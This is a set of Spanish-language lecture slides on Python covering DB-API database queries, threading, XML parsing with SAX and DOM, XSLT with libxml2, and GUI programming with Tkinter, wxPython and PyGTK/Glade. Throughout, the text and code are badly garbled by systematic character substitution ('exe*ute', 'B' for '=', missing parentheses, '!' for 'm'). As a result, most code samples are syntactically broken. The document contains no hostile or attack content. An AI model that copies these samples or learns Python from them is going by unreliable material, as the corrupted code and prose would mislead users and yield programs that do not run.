dbi&paramstyle nos indica el tipo de

par!etros
pyformat 3&unciona en 1yS]7 y S]7ite5
exe*ute(=SRMR8; Z [VTM RPRJ;TS aHRVR MT80MQ`08QTJ B Xs],param
>marL
exe*ute(=SRMR8; Z [VTM RPRJ;TS aHRVR MT80MQ`08QTJ B H],param
,,, 3!irar docu!entacin5

E(e!plo con par!etros 4 I
# db/a**esodbeventosC^Q-arametros&py
import s>lite as dbi
#import MySFMdb as dbi
import time, sys
def exe*uteSFM8ommand(*ursor, *ommand,:ar(s:
ro%Set B 6:
if len(*ommand:
try:
*ursor&exe*ute(*ommand,:ar(s # RNe*uta el *omando
for line in lines:
ro% B 6:
for *olumn in line:
ro%&append(*olumn
ro%Set&append(ro%
ex*ept dbi&-ro'rammin'Rrror, e:
print e
sys&exit(
return ro%Setm&ra part& igual.
E(e!plo con par!etros 4 II
if len(sys&ar'v !B !:
print << sys&stderr, "9sa'e: python Xs MT80MQ`08QTJ" X sys&ar'v62:
sys&exit(1
dbBdbi&*onne*t(hostB]lo*alhost],userB]deusto],pass%dB]deusto],dbB"deusto"
*ursor B db&*ursor(
ro"Set = executeSQL2ommand(cursor! select : from );)5<1S "here L12AL34A2315 =
0s!sys.ar(+698)
for ro% in ro%Set:
print ro%
del *ursor
Progra!acin de siste!as
Python per!ite la progra!acin de siste!a tanto

accediendo a la +PI de Hindo2s 3
http-00222,python,org02indo2s0inde.,ht!l5 co!o a las
lla!adas al siste!a de U/I< 3!dulo os5
El !dulo os nos da acceso a-
El entorno del proceso- 'et*%d( 'et'id( 'etpid(
Creacin de &icheros y descriptores- *lose( dup(

dup!( fstat( open( pipe( stat(, so*Let(
=estin de procesos- exe*le( exe*v( Lill( forL(

system(
=estin de !e!oria mmap(
En la docu!entacin del !dulo viene la disponibilidad de

la &uncin en di&erentes siste!as
El !dulo thread y threadin' per!ite la creacin de

threads en Python
=estin de @ilos 4 I
7an$ando hilos con thread-

import thread
def f(nombre:
print =hola mundo desde otro hilo, Xs] X nombre
numero B thread&startKne%Kthread(f,(AholaA, #fun*ion, tupla *on
ar'umentos
#autom@ti*amente se habr@ lanYado
1s tarde naci el !dulo threadin'

con una gestin de !s alto nivel
=estin de @ilos 4 II
threadin'
1s si!ilar a Java
Incluye !e(ores siste!as de

sincroni$acin
from threadin' import Z
*lass MiHilo(;hread:
def KKinitKK(self,nombre:
;hread&KKinitKK(self
def run(self:
print =Hola Xs],self&nombre
m B MiHilo(='ente]
m&start(
=estin de @ilos 4 III
Sincroni$acin bsica en threadin'

l B threadin'&Mo*L(
l&a*>uire(
#8uando un hilo entra en a*>uire(, el resto de hilos >ue llamen al
a*>uire del
#mismo lo*L se >uedan blo>ueados, hasta >ue al'uien llame a release
l&release(
(threadin'/eNemplo(sin*roniYa*ion&py
dir(threadin'- Mo*L 8ondition

Rvent Semaphore,,,
PPor %u usar <17S
Un docu!ento <17 puede ser

&cil!ente procesado y sus datos
!anipulados
E.isten +PIs para procesar esos

docu!entos en Java C CGG Perl,, 3y
por supuesto Python5
<17 de&ine datos portables al igual %ue

Java de&ine cdigo portable
Co!ponentes docu!ento <17
7os docu!entos <17 constan de-
Instrucciones de procesa!iento
3processing instructions ' PI5
Declaraciones de tipo de docu!ento
Co!entarios
Ele!entos
>e&erencias a entidades
Secciones CD+6+
E(e!plo Docu!ento <17
\Hxml versionB"1&2"H<
\!CT8;W-R mensaNe SWS;RM =lab'roups&dtd"<
\labK'roup<
\studentKname dniB=..3124!/"<
Uosu 0rtaYa
\/studentKname<
\studentKname dniB=..4./!11"<
Juria ûrua'a
\/studentKname<
\studentKname dniB=!/44.4!1" tutorB=//.43!11"<
Qn'a Corsman
\/studentKname<
\/labK'roup<
<17 Parsing
Documento
XML
XML DTD
XML Schema
Parser XML
Aplicacin
XML
<17 Parsing 3cont5
S+<
De&ine inter&a$ dirigido por eventos 3event4

driven5 para el procesa!iento de un
docu!ento <17
De&inido por David 1egginson y lista

correo <174DEK - http-00
222,!egginson,co!0S+<
D:1
Provee una representacin de un

docu!ento <17 en &or!a de un rbol
Carga todo el docu!ento <17 en !e!oria
http-00222,2^,org0D:1
Si!ple +PI &or <17- S+<
De&ine un inter&a$ co!Fn

i!ple!entado por !uchos <17 Parsers
Es el estndar de4&acto para

procesa!iento de <17 basado en
eventos
S+< no es un parseador de <17
S+<T aade soporte para <17

/a!espaces
7a especi&icacin de S+< T,M0Java est

en-
http-00
222,!egginson,co!0S+<0Java0inde.,ht!l

Caracter#sticas de S+<
+nali$ador o parser S+<-
Detecta cundo e!pie$a y ter!ina un ele!ento o el

docu!ento o un con(unto de caracteres etc,
3genera eventos5
=estiona los espacios de no!bres
Co!prueba %ue el docu!ento est bien &or!ado
7as aplicaciones necesitan i!ple!entar

!ane(adores de los eventos noti&icados
S+< lee secuencial!ente de principio a &in

sin cargar todo el docu!ento en !e!oria
Ventaja: e&iciencia en cuanto al tie!po y la

!e!oria e!pleados en el anlisis
Desventaja: no dispone!os de la estructura

en rbol de los docu!entos
PC!o &unciona S+<S
XML Document XML Document
<?xml version=1.0?>
<addressbook>
</addressbook>
<person>
</person>
<name>Diego Ipia</name>
<email>dipina@deusto.es</email>
<person>
</person>
<name>Asier Perallos</name>
<email>perallos@deusto.es</email>
SAX Objects SAX Objects
Parser Parser startDocument
Parser Parser startElement
Parser Parser startElement & characters
Parser Parser endElement
Parser Parser startElement
Parser Parser endElement
Parser Parser endElement & endDocument
Progra!acin en <17 con S+<
Soporte para S+< en Python es o&recido por el

!dulo xml&sax de la Python 7ibrary
De&ine T !todos-
maLeKparser(6parser_list:
Crea y devuelve un ob(eto S0b bMMVeader
parse(filename_or_stream, handler6,
error_handler:
Crea un parser S+< y lo usa para procesar el

docu!ento a travs de un handler
El !dulo xml&sax&xmlreader de&ine readers

para S+<
El !dulo xml&sax&handler de&ine

!ane(adores de eventos para S+<-
startCo*ument endCo*ument starRlement
endRlement
E(e!plo procesa!iento S+< I
# xml/Rlement8ounterS0b&py
# RNe*utar: python Rlement8ounterS0b&py 8artelera&xml
import sys
from xml&sax import maLeKparser, handler
*lass Rlement8ounter(handler&8ontentHandler:
def KKinitKK(self:
self&Kelems B 2
self&Kattrs B 2
self&KelemKtypes B "$
self&KattrKtypes B "$
def startRlement(self, name, attrs:
self&Kelems B self&Kelems + 1
self&Kattrs B self&Kattrs + len(attrs
self&KelemKtypes6name: B self&KelemKtypes&'et(name, 2 + 1
for name in attrs&Leys(:
self&KattrKtypes6name: B self&KattrKtypes&'et(name, 2 + 1

E(e!plo procesa!iento S+< II
def endCo*ument(self:
print ";here %ere", self&Kelems, "elements&"
print ";here %ere", self&Kattrs, "attributes&"
print "(((RMRMRJ; ;W-RS"
for pair in self&KelemKtypes&items(:
print "X!2s Xd" X pair
print "(((0;;VQ^9;R ;W-RS"
for pair in self&KattrKtypes&items(:
print "X!2s Xd" X pair

parser B maLeKparser(
parser&set8ontentHandler(Rlement8ounter(
parser&parse(sys&ar'v61:
H^C Docu!ent :b(ect 1odel
3D:15
Docu!entos <17 son tratados co!o un

rbol de nodos
Cada ele!ento es un 8nodo9
7os ele!entos hi(os y el te.to contenido

dentro de un ele!ento son subnodos
H^C D:1 Site-

http-00222,2^,org0D:10
Caracter#sticas D:1
Docu!ento se carga total!ente en

!e!oria en una estructura de rbol
Ventaja: &cil acceder a datos en

&uncin de la (erar%u#a de ele!entos
as# co!o !odi&icar el contenido de los
docu!entos e incluso crearlos desde
cero,
Desventaja: coste en tie!po y

!e!oria %ue conlleva construir el rbol
H^C <17 D:1 :b(ects
Element ' un ele!ento <17
Attribute ' un attributo
Text ' te.to contenido en un ele!ento o atributo
CDATAsection ' seccin CD+6+
EntityReference ' >e&erencia a una entidad
Entity ' Indicacin de una entidad <17
ProcessingInstruction ' Una instruccin de

procesa!iento
Comment ' Contenido de un co!entario de <17
Document ' El ob(eto docu!ento
DocumentType ' >e&erencia al ele!ento D:C6OPE
DocumentFragment ' >e&erencia a &rag!ento de

docu!ento
otation ' Contenedor de una anotacin

:b(etos relacionados con /odos
5ode ' un nodo en el rbol de un

docu!ento
5odeList ' una lista de ob(etos nodos
5amed5odeMap ' per!ite interaccin y

acceso por no!bre a una coleccin de
atributos
Docu!ento <17 co!o `rbol de
/odos
\Hxml versionB"1&2" en*odin'B"iso(554c(1"H<
\-eli*ulas<
\-eli*ula *odi'oBA1A tituloBAMo >ue el viento se
llevDA
dire*torBAPi*tor [lemin'A
a*toresBA8larL 7able, Pivien Mei'h,
Meslie Ho%ardA/<
\-eli*ula *odi'oBA!A tituloBAMos TtrosA
dire*torBA0leNandro 0menabarA
a*toresBAJi*ole _idmanA/<
\-eli*ula *odi'oB"4" tituloB"Malena"
dire*torB"7iuseppe ;ornatore"
a*toresB"Moni*a êllu**i, 7iuseppe
Sulfaro"/<
\/-eli*ulas<
Docu!ento <17 co!o `rbol
de /odos
Root
Pelculas
...
Pelcula
titulo=Lo que el
viento se llev codigo=1
actores=Clark Gable, Vivien
Leigh, Leslie Howard
diirector=Victor Fleming
Pelcula
titulo=Malena
codigo=5
actores=Monica Bellucci,
Giuseppe Sulfaro
diirector=Giuseppe
Tornatore
Procesando <17 con D:1
Python provee el !dulo xml&dom&minidom %ue

es una i!ple!entacin sencilla de D:1
El !todo parse a partir de un &ichero crea un

ob(eto D:1 el cual tiene todos los !todos y
atributos estndar de D:1- has8hildJodes(
*hildJodes 'etRlements^y;a'Jame(
Para !s in&or!acin sobre procesa!iento

<17 en Python ir a- http-00
py.!l,source&orge,net0topics0
El !dulo Py<17 %ue no viene en la distribucin por

de&ecto de Python per!ite procesa!iento un poco
!s so&isticado
http-00py.!l,source&orge,net0topics0
E(e!plo D:1 I
# xml/eNemploCTM&py
# RNe*utar: python eNemploCTM&py 8artelera&xml
import xml&dom&minidom, sys
*lass -eli*ula:
def KKinitKK(self, *odi'o, titulo, dire*tor, a*tores:
self&*odi'o B *odi'o
self&titulo B titulo
self&dire*tor B dire*tor
self&a*tores B a*tores
def KKreprKK(self:
return "8odi'o: " + str(self&*odi'o + " ( titulo: " +
self&titulo + " ( dire*tor: " + self&dire*tor + " ( a*tores: " +
self&a*tores

*lass -eli*ulaCTM-arser:
def KKinitKK(self, filename:
self&dom B xml&dom&minidom&parse(filename
self&peli*ulas B 6:

E(e!plo D:1 II
def 'et-eli*ulas(self:
if not self&peli*ulas:
peli*ulaJodes B self&dom&'etRlements^y;a'Jame("-eli*ula"
num-elis B len(peli*ulaJodes
for i in ran'e(num-elis:
peli*ula B peli*ulaJodes&item(i
# Ve*uperar los attributes de *ada nodo -eli*ula
peli0ttribs B peli*ula&attributes
*odi'o B peli0ttribs&'etJamedQtem("*odi'o"&nodePalue
titulo B peli0ttribs&'etJamedQtem("titulo"&nodePalue
dire*tor B peli0ttribs&'etJamedQtem("dire*tor"&nodePalue
a*tores B peli0ttribs&'etJamedQtem("a*tores"&nodePalue

self&peli*ulas&append(-eli*ula(*odi'o,titulo,dire*tor,a*tores
return self&peli*ulas
dom-arser B -eli*ulaCTM-arser(sys&ar'v61:
for peli in dom-arser&'et-eli*ulas(:
print peli
E.tensible Style 7anguage
6rans&or!ations 3<S765 I
Con la diversidad de lengua(es de

presentacin %ue hay 3H17 @617
c@6175 e.isten dos alternativas para
desarrollar las aplicaciones-
Desarrollar versiones de los procesos de

generacin de presentacin 3JSP +SP
C=I,,5 para cada lengua(e,
Desarrollar solo una versin %ue genere

<17 y conversores de <17 a los lengua(es
de presentacin,
E.tensible Style 7anguage
6rans&or!ations 3<S765 II
Dos partes-
6rans&or!ation 7anguage 3<S765
"or!atting 7anguage 3<S7 "or!atting

:b(ects5
<S76 trans&or!a un docu!ento <17

en otro docu!ento <17
<S7": &or!atea y estili$a docu!entos

en varios !odos
<S76 H^C >eco!!endation 4

http-00222,2^,org06>0.slt
:peraciones entre rboles en
<S7
Kenta(as y desventa(as de <S76
Kenta(as-
/o asu!e un Fnico &or!ato de salida de

docu!entos
Per!ite !anipular de !uy diversas !aneras un

docu!ento <17- reordenar ele!entos &iltrar
aadir borrar etc,
Per!ite acceder a todo el docu!ento <17
<S76 es un lengua(e <17
Desventa(as-
Su utili$acin es !s co!ple(a %ue un lengua(e de

progra!acin convencional
Consu!e cierta !e!oria y capacidad de proceso

D:1 detrs
Usando ho(as de estilo <S76
Para crear una trans&or!acin <S7

necesita!os-
El docu!ento <17 a trans&or!ar

3students&xml5
7a ho(a de estilo %ue especi&ica la

trans&or!acin 3students&xsl5
Docu!ento <17 3students,.!l5
\*ourse<
\name idB"*s*iK!c3!"<-ro'rammin' bMM in Uava\/name<
\tea*her idB=di"<Cie'o Qpida\/tea*her<
\student idB=ua"<
\name<9sue 0rtaYa\/name<
\h%1</2\/h%1<
\h%!<12\/h%!<
\proNe*t<52\/proNe*t<
\final<54\/final<
\/student<
\student idB=iu"<
\name<Qdi'o 9rrutia\/name<
\h%1<52\/h%1<
\h%!<c2\/h%!<
\proNe*t<122\/proNe*t<
\final<.2\/final<
\/student<
\/*ourse<
@o(a de estilo <S76
3students,.sl5
\xsl:stylesheet versionB"1&2=
xmlns:xslB"http://%%%&%/&or'/1ccc/bSM/;ransform"<
\xsl:template mat*hB"*ourse"<
\H;MM<
\HR0C<\;Q;MR<Jame of students\/;Q;MR<\/HR0C<
\^TCW<
\xsl:apply(templates sele*tB"student"/<
\/^TCW<
\/H;MM<
\/xsl:template<
\xsl:template mat*hB"student"<
\-<\xsl:value(of sele*tB"name"/<\/-<
\/xsl:template<
\/xsl:stylesheet<
>esultado de trans&or!acin
3students,ht!l5
\H;MM<
\HR0C< \;Q;MR<Jame of students\/;Q;MR<
\/HR0C<
\^TCW<
\-<9sue 0rtaYa\/-<
\-<Qdi'o 9rrutia\/-<
\/^TCW<
\/H;MM<
<S76 en Python
@erra!ientas para procesa!iento <S76 tools

en Python-
http-00uche,ogbu(i,net0tech0aIara0nodes0TMM^4M[4M[0
python4.slt
En la siguiente url pode!os encontrar

adaptaciones Python de las librer#as de la
toolIit =no!e en C 7ib.!l y 7ib.slt-
http-00.!lso&t,org0python,ht!l 37inu.5
http-00users,sIynet,be0sbi0lib.!l4python0 3Hindo2s5
El e(e!plo en la siguiente pgina ilustra el uso de

esta librer#a
E(e!plo <S76
# Qnstalar fi*hero lib.!lT4python4T,L,[L,2in^T4pyT,U,e.e
N E(ecutar- python .slte.a!ple,py Cartelera,.!l Cartelera,.sl
trans&or!,ht!l
import libxml!
import libxslt
import sys
if len(sys&ar'v !B .:
print A9sa'e: python xsltexample \xml(file< \xslt(file<
\output(file<A
sys&exit(2
else:
styledo* B libxml!&parse[ile(sys&ar'v6!:
style B libxslt&parseStylesheetCo*(styledo*
do* B libxml!&parse[ile(sys&ar'v61:
result B style&applyStylesheet(do*, Jone
style&saveVesult;o[ilename(sys&ar'v6/:, result, 2
style&freeStylesheet(
do*&freeCo*(
result&freeCo*(
E(e!plo <17 3Cartelera,.!l5
\8artelera<
\8ine *odi'oBA1A nombreBA8oliseo UavaA dire**ionBA0vda& 0baroA
pobla*ionBA-ortu'aleteA<
\-eli*ula *odi'oBA1A tituloBAMo >ue el viento se llevoA
dire*torBASantia'o Se'uraA
a*toresBAô CereL, 0l -a*ino, Vobert VefordA<
\Sesion<13:22\/Sesion<
\Sesion<1c:/2\/Sesion<
\Sesion<!!:22\/Sesion<
\/-eli*ula<
\-eli*ula *odi'oBA!A tituloBAMos TtrosA
dire*torBA0leNandro 0menabarA
a*toresBAJi*ole _idmanA<
\Sesion<13:/2\/Sesion<
\Sesion<1c:.4\/Sesion<
\Sesion<!!:/2\/Sesion<
\/-eli*ula<
\/8ine<
&&&
\/8artelera<
E(e!plo <S7 3Cartelera,.sl5
\xsl:stylesheet xmlns:xslBhttp://%%%&%/&or'/1ccc/bSM/;ransform
versionB"1&2"<
\xsl:output methodB"html"/<
\xsl:template mat*hB"/"<
\html<
\head<
\style typeB"text/*ss"<
table "font(family: arial, Asans serifA#
mar'in(left: 14pt#$
th,td "font(siYe: 52X#$
th "ba*L'round(*olor:#[0R^C1$
\/style<
\/head<
\body<
\table borderB"1"<
\xsl:apply(templates/<
\/table<
\/body<
\/html<
\/xsl:template<
\xsl:template mat*hB"8artelera"<
\xsl:for(ea*h sele*tB"8ine"<
\tr<
\th<\xsl:text<8ine\/xsl:text<\/th<
\th<\xsl:text<Cire**iDn\/xsl:text<\/th<
\th<\xsl:text<-obla*iDn\/xsl:text<\/th<
\th<\/th<
\/tr<
\tr<
\td<\xsl:value(of sele*tB"&/)nombre"/<\/td<
\td<\xsl:value(of sele*tB"&/)dire**ion"/<\/td<
\td<\xsl:value(of sele*tB"&/)pobla*ion"/<\/td<
\td<\xsl:text<\/xsl:text<\/td<
\/tr<

\xsl:for(ea*h sele*tB"-eli*ula=<
\tr<
\th<\/th<
\th<\xsl:text<-el?*ula\/xsl:text<\/th<
\th<\xsl:text<Cire*tor\/xsl:text<\/th<
\th<\xsl:text<0*tores\/xsl:text<\/th<
\/tr<
\tr<
\td<\xsl:value(of sele*tB"&/)titulo"/<\/td<
\td<\xsl:value(of sele*tB"&/)dire*tor"/<\/td<
\td<\xsl:value(of sele*tB"&/)a*tores"/<\/td<
\/tr<
\tr<
\th<\/th<
\th<\/th<
\th<\xsl:text<SesiDn\/xsl:text<\/th<
\th<\xsl:text<Hora\/xsl:text<\/th<
\/tr<
\xsl:for(ea*h sele*tB"Sesion"<
\tr<
\td<\xsl:value(of sele*tB"position("/<\/td<
\td<\xsl:value(of sele*tB"&"/<\/td<
\/tr<
\/xsl:for(ea*h<
\/xsl:for(ea*h<
\/xsl:for(ea*h<
\/xsl:template<
\/xsl:stylesheet<
>esultado <S7 parsing
Progra!acin de =UIs I
6Iinter es la =UI toolIit %ue por de&ecto viene con

Python 3http-00222,python,org0doc0current0lib0!odule4
6Iinter,ht!l5
;asada en 6I %ue e!pe$ siendo una librer#a para el

lengua(e 6cl y !Fltiples lengua(es ahora tienen bindings
Es lenta pero su uso es !uy sencillo
E.isten otras toolIits para generacin de =UIs-
2.Python 3http-00222,2.python,org05
+pariencia nativa basado en 2.Hidgets

3!ultipla&or!a5 !uy rpida
Python2in 3
http-00222,python,org02indo2s0python2in05
Sola!ente para Hindo2s usa directa!ente la +PI de

Hindo2s
Py=6a 3http-00222,pygtI,org05
Py]t 3http-00222,riverbanIco!puting,co,uI0py%t05
=UIs en Python 4 I
6ene!os diversas librer#as de 2idgets

disponibles desde Python-
;Linter
axaid'ets
-y7;_
-yF;
-ython%in
,,,
6Iinter
Kiene por de&ecto en el instalador de

Python
1ultiplata&or!a 37inHin1ac5
En Hindo2s la apariencia no es !ala
En =/U07inu. no est enci!a de ]6 o

=6a sino dircta!ente enci!a de las <
por lo %ue el resultado de(a %ue desear
"cil de progra!ar
E(e!plo 6Iinter I
# 'ui/tL/tLinter%at*h&py
from ;Linter import Z
import time, sys
*lass Stopaat*h([rame:
""" Qmplements a stop %at*h frame %id'et& """

def KKinitKK(self, parentBJone, ZZL%:
[rame&KKinitKK(self, parent, L%
self&Kstart B 2&2
self&Kelapsedtime B 2&2
self&Krunnin' B 2
self&timestr B Strin'Par(
self&maLeaid'ets(
def maLeaid'ets(self:
""" MaLe the time label& """
l B Mabel(self, textvariableBself&timestr
self&Kset;ime(self&Kelapsedtime
l&pa*L(fillBb, expandBJT, padyB!, padxB!

def Kupdate(self:
""" 9pdate the label %ith elapsed time& """
self&Kelapsedtime B time&time( ( self&Kstart
self&Ktimer B self&after(42, self&Kupdate

def Kset;ime(self, elap:
""" Set the time strin' to Minutes:Se*onds:Hundreths """
minutes B int(elap/32
se*onds B int(elap ( minutesZ32&2
hse*onds B int((elap ( minutesZ32&2 ( se*ondsZ122
self&timestr&set(AX2!d:X2!d:X2!dA X (minutes, se*onds, hse*onds
E(e!plo 6Iinter II
def Start(self:
""" Start the stop%at*h, i'nore if runnin'& """
if not self&Krunnin':
self&Kstart B time&time( ( self&Kelapsedtime
self&Kupdate(
self&Krunnin' B 1

def Stop(self:
""" Stop the stop%at*h, i'nore if stopped& """
if self&Krunnin':
self&afterK*an*el(self&Ktimer
self&Kelapsedtime B time&time( ( self&Kstart
self&Krunnin' B 2

def Veset(self:
""" Veset the stop%at*h& """
self&Kstart B time&time(
self&Kelapsedtime B 2&2

if KKnameKK BB AKKmainKKA: root B ;L(
s% B Stopaat*h(root
s%&pa*L(sideB;T-
ûtton(root, textBAStartA, *ommandBs%&Start&pa*L(sideBMR[;
ûtton(root, textBAStopA, *ommandBs%&Stop&pa*L(sideBMR[;
ûtton(root, textBAVesetA, *ommandBs%&Veset&pa*L(sideBMR[;
ûtton(root, textBAFuitA, *ommandBsys&exit(2&pa*L(sideBMR[;
root&mainloop(
2.Python I
;asado en %xaid'ets toolIit
1a.i!i$a la portabilidad
Hindo2s U/I< 1ac :S PocIetPC,,,
7ooI and &eel nativo de cada plata&or!a
Pode!os crear los 2idgets gr&ica!ente con

%x7lade
+ veces se critica %ue el %ue tenga looI and

live nativo en cada plata&or!a i!plica %ue sea
un subcon(unto de todas ellas
2.Python II
En 2.Python todas las clases estn

de&inidas dentro del !dulo %x
Para crear una aplicacin en 2.Python

hay %ue crear una clase %ue deriva de
%x&0pp y sobreescribe el !todo
TnQnit
6oda aplicacin est &or!ada al !enos

de un [rame o un Cialo'
7os !arcos pueden contener otros

paneles barras de !enFs y
herra!ientas 3Menuâr y ;oolâr 5 y
l#nea de estado 3Statusâr5
2.Python III
7os !arcos y dilogos contienen

controles- ûtton 8he*Lôx 8hoi*e
Mistôx Vadioôx y Slider ,,,
E.isten dilogos prede&inidos-

Messa'eCialo' o [ileCialo'
+ travs del progra!a

%x-ythonOdemoOdemo&py se pueden ver
de!os
Kienen aco!paadas de cdigo &uente

E(e!plo 2.Python I
# 'ui/2.PythonSe!anaESIDE,py
KKauthorKK B "Cie'o Qpida \dipina)eside&deusto&es<"
import %x
*lass [rame(%x&[rame:
"""8lase frame >ue visualiYa una ima'en&"""
def KKinitKK(self, ima'e, parentBJone, idB(1,
posB%x&Cefault-osition, titleBAIHola, semaneros
RSQCR!A:
"""8rea un [rame y visualiYa ima'en&"""
temp B ima'e&8onvert;oîtmap(
siYe B temp&7etaidth(, temp&7etHei'ht(
%x&[rame&KKinitKK(self, parent, id, title, pos, siYe
self&bmp B %x&Stati*îtmap(parentBself, idB(1, bitmapBtemp
E(e!plo 2.Python II
*lass 0pp(%x&0pp:
"""8lase apli*a*iDn&""=
def KKinitKK(self:
%x&0pp&KKinitKK(self
def TnQnit(self:
%x&Qnit0llQma'eHandlers(
ima'e B %x&Qma'e(Asemanaeside&Np'A, %x&^Q;M0-K;W-RKU-R7
self&frame B [rame(ima'e
self&frame&Sho%(
self&Set;opaindo%(self&frame
return ;rue
def main(:
app B 0pp(
app&MainMoop(
main(
2.=lade
/o sie!pre es necesario 3o
conveniente5 crear de !anera
progra!tica las inter&aces en
%x-ython,
@ay herra!ientas %ue nos ayudarn a

generar el cdigo %x-ython
correspondiente-
2.=lade 3http-002.glade,source&orge,net05
Py=6a
;asada en las populares =6aG
1ultiplata&or!a-
/ativa!ente en =/U07inu. se integra

bien en Hindo2s &unciona en 1ac :S
7ibrer#a !uy co!pleta
@erra!ienta =lade para disear los

inter&aces de !anera gr&ica
Progra!ando con Py=6a 4 I
De!o-
py'tL(demo&py
En Ubuntu Dapper pa%uete python!&.('tL
, python /usr/share/do*/python!&.('tL!/examples/py'tL(
demo&py
/os !uestra una de!o de los controles

bsicos c!o usarlos y el cdigo
correspondiente
Progra!ando en Py=6a 4 II
El bucle de eventos
En 7;_+ tendre!os %ue-
7la!ar a 'tLKinit
Despus iniciali$a!os todos los 2idgets
7la!ar a 'tLKmain
El progra!a se %ueda blo%ueado en este

punto
7la!ar a 'tLKmainK>uit
7e lla!are!os desde un evento al ter!inar el

evento saldre!os de la &uncin 'tLKmain
Progra!ando en Py=6a 4 III
Pseudocdigo-
miK*allba*L:
'tLKmainK>uit(
'tLKinit(
*rearPentana-rin*ipal(
adadiraid'ets0MaPentana(
adadir8allba*L0l8errarPentana(miK*allba*L
'tLKmain(
Progra!ando en Py=6a 4 IK
En Py=6a no hace &alta lla!ar a

'tLKinit est i!pl#cito al i!portar 'tL
El !dulo 'tL tiene los !todos-
'tL&main35
'tL&mainKloop35
Progra!ando en Py=6a 4 K
#'ui/'tL/'tL1&py
import 'tL
def metodo(Zar's:
print "Rntro en 'tL&mainK>uit"
'tL&mainK>uit(
print "Sal'o de 'tL&mainK>uit"
%in B 'tL&aindo%(
%in&*onne*t("deleteKevent",metodo
%in&sho%(
print "Rntro en 'tL&main"
'tL&main(
print "Sal'o de 'tL&main"
Progra!ando en Py=6a 4 KI
Creando ventanas- 'tL&aindo%
% B 'tL&aindo%(
%&fulls*reen( #fulls*reen
%&maximiYe( #maximiYa
%&i*onify( #minimiYa
%&dei*onify( #restaura
%&setKtitle(=titulo] #t?tulo
Progra!ando en Py=6a 4 KII
Pode!os aadir un 2idget a la ventana
Mabel, ûtton, Rntry,,,

#'tL!&py
import 'tL
def metodo(Zar's:
'tL&mainK>uit(
%in B 'tL&aindo%(
%in&setKtitle("Ttra ventana"
l B 'tL&Mabel("Hola mundo"
%in&add(l
%in&sho%Kall(
%in&*onne*t("deleteKevent",metodo
'tL&main(
Progra!ando en Py=6a 4 KIII
Slo pode!os aadir un 2idget a la

ventana
Para aadir varios 2idgets necesita!os

boxes %ue agrupan varios 2idgets-
Pôx vertical!ente
Hôx hori$ontal!ente
;able para una tabla de 2idgets
Ker 'tL/&py
Progra!ando en Py=6a 4 I<
Eventos-
Para conectar una &uncin a un evento

utili$are!os-
elK%id'et&*onne*t(AnombreKeventoA,fun*ion
Eventos co!unes-
aindo%- deleteKevent- +l cerrar ventana
Rntry- a*tivate- +l pulsar intro en un entry
ûtton- *li*Led- +l pulsar el botn
Ker 'tL.&py
Progra!ando en Py=6a 4 <
I!genes- 'tL&Qma'e
import 'tL
def salir(Zar's:
'tL&mainK>uit(
% B 'tL&aindo%(
%&*onne*t(AdeleteKeventA,salir
im' B 'tL&Qma'e(
im'&setKfromKfile("'host&Np'"
%&add(im'
%&sho%Kall(
'tL&main(
Progra!ando en Py=6a 4 <I
Utili$ando 7C_
7C_ es el 7raphi*al Cevelopment _it %ue nos per!itir

llevar a cabo !uchas !s cosas
Slo hay %ue echar un vista$o a la docu!entacin al espacio de

no!bres 7C_ para ver la cantidad de posibilidades %ue nos da
Creando un rea para dibu(ar-
'tL&dra%in'Karea tiene varios eventos heredados

de 'tL&aid'et co!o-
*onfi'ureKevent- es lla!ado cuando se

!odi&ica el ta!ao del Hidget
exposeKevent- es lla!ado cuando se tiene %ue

redibu(ar al !enos una parte del 2idget
Ker ima'enes/ima'enes.&py
Progra!ando en Py=6a 4 <II
Un 2idget !uy usado es el ;reePie%
Per!ite !ostrar listas de datos
Per!ite ade!s !ostrar rboles
El ;reePie% slo se encarga de lo %ue

es el 2idget %ue se ve no del contenido
del !is!o
Para el contenido debe utili$ar un

'tL&;reeModel co!o MistStore 3para
listas5 o ;reeStore 3para rboles5
Ker treevie%s/lista&py y treevie%s/arbol&py

=lade 4 I
Progra!ar lo anterior est bien-
En !o!entos en los %ue necesite!os

generar din!ica!ente 2idgets
+prender y entender c!o &unciona

-y7;_
Sin e!bargo puede-
Cansar
>esultar di&icil
+adir cdigo innecesario al progra!a

=lade 4 II
Para evitarlo est =lade
@erra!ienta interactiva para diseo de =UIs con 7;_+ y 7nome
=uarda en un &'lade 3<175 el diseo del inter&a$ gr&ico del

progra!a
/uestra aplicacin din!ica!ente cargar el ,glade y generar los

2idgets
Si %uere!os acceder a un 2idget concreto-

miK'lade&'etK%id'et(=nombreK%id'et]
+de!s per!ite !ane(ar seales de !anera %ue pode!os asignar

a %u &unciones se lla!ar para capturar %u seal-
miK'lade&si'nalKauto*onne*t("
Aha'oK*li*LA:fun*ionKha'oK*li*L,
AsalirA:fun*ionKsalir
$
Ker 'lade/'lade1&py
1s sobre el lengua(e
Casi todo lo visto hasta ahora han sido

0-Qs y !s 0-Qs %ue a veces poco tienen
%ue ver con -ython y hay %ue buscar
docu!entacin en MySFM a/8 etc,
En lo %ue %ueda nos centrare!os en

otras caracter#sticas %ue no he!os visto
del lengua(e
En esta parte hay e.plicaciones %ue

estn slo en los e(e!plos 3no cabe en las
transpas5 y viceversa- ten a !ano los
e(e!plos A45
Docu!entacin en Python 4 I
Para co!entar cdigo basta con poner

#-
def fun*ion(:
#variable es un eNemplo de variable
variableB4
#a>u? lo >ue ha*emos es sumar 12 a la variable
variable +B 12
Estos co!entarios slo los ve el %ue lea

el cdigo
/o se guarda en los .pyc 3al hacer import

nombreKmodulo se genera el &py*5
/o son accesibles desde &uera de la

&uncin
Docu!entacin en Python 4 II
Para docu!entar &unciones hay %ue

poner un strin' (usto deba(o del
pa%uete !dulo clase o &uncin
def mirandom(:
=]]fun*ion( (< float
Cevuelve un nemero aleatorio entre 2 y 1
=]]
import random
return random&random(
Docu!entacin en Python 4 III
Para ver esta docu!entacin-
help(lo>uesea
pydo* mDdulo
Per!ite ser accedido desde shell-
pydo* mDdulo
1ontando un !ini!alista servidor 2eb-
pydo* (p puerto
1ostrndose en una ventana-
pydo* ('
Ker /do*/
"iltros
Pode!os hacer &iltros sencillos de

secuencias en una sola l#nea-
6expr(RMRM for RMRM in MQS;0 (if

*ondi*ion :
E(e!plo 3G avanY/filtros&py5-
<<< palabra B =hola]
<<< print AA&Noin(6!Zi for i in palabra:
hhoollaa
<<< 6!Zi for i in ran'e(12 if i X ! BB 2:
62,.,5,1!,13:
"unciones especiales 4 I
Punteros a &uncin
Si recorda!os en ;hreads ya los

utili$a!os
<<< def f(:
&&& print =hola mundo]
<<< puntero B f
<<< puntero(
